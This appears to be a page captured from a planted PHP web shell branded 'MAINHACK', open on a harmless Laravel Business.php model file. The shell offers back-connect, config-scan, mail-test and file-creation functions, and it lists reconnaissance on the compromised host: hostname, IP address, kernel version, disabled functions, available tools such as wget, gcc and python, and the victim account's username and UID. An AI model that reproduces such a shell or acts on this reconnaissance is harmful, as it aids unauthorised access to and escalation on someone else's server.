[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Business.php
<?php namespace App; use Illuminate\Database\Eloquent\Model; class Business extends Model { /** * The table associated with the model. * * @var string */ protected $table = 'business'; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id', 'woocommerce_api_settings']; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = ['woocommerce_api_settings']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'ref_no_prefixes' => 'array', 'enabled_modules' => 'array', 'email_settings' => 'array', 'sms_settings' => 'array', 'common_settings' => 'array', 'weighing_scale_setting' => 'array', ]; /** * Returns the date formats */ public static function date_formats() { return [ 'd-m-Y' => 'dd-mm-yyyy', 'm-d-Y' => 'mm-dd-yyyy', 'd/m/Y' => 'dd/mm/yyyy', 'm/d/Y' => 'mm/dd/yyyy', ]; } /** * Get the owner details */ public function owner() { return $this->hasOne(\App\User::class, 'id', 'owner_id'); } /** * Get the Business currency. */ public function currency() { return $this->belongsTo(\App\Currency::class); } /** * Get the Business currency. */ public function locations() { return $this->hasMany(\App\BusinessLocation::class); } /** * Get the Business printers. */ public function printers() { return $this->hasMany(\App\Printer::class); } /** * Get the Business subscriptions. */ public function subscriptions() { return $this->hasMany('\Modules\Superadmin\Entities\Subscription'); } /** * Creates a new business based on the input provided. * * @return object */ public static function create_business($details) { $business = Business::create($details); return $business; } /** * Updates a business based on the input provided. * * @param int $business_id * @param array $details * @return object */ public static function update_business($business_id, $details) { if (! empty($details)) { Business::where('id', $business_id) ->update($details); } } public function getBusinessAddressAttribute() { $location = $this->locations->first(); $address = $location->landmark.', '.$location->city. ', '.$location->state.'<br>'.$location->country.', '.$location->zip_code; return $address; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285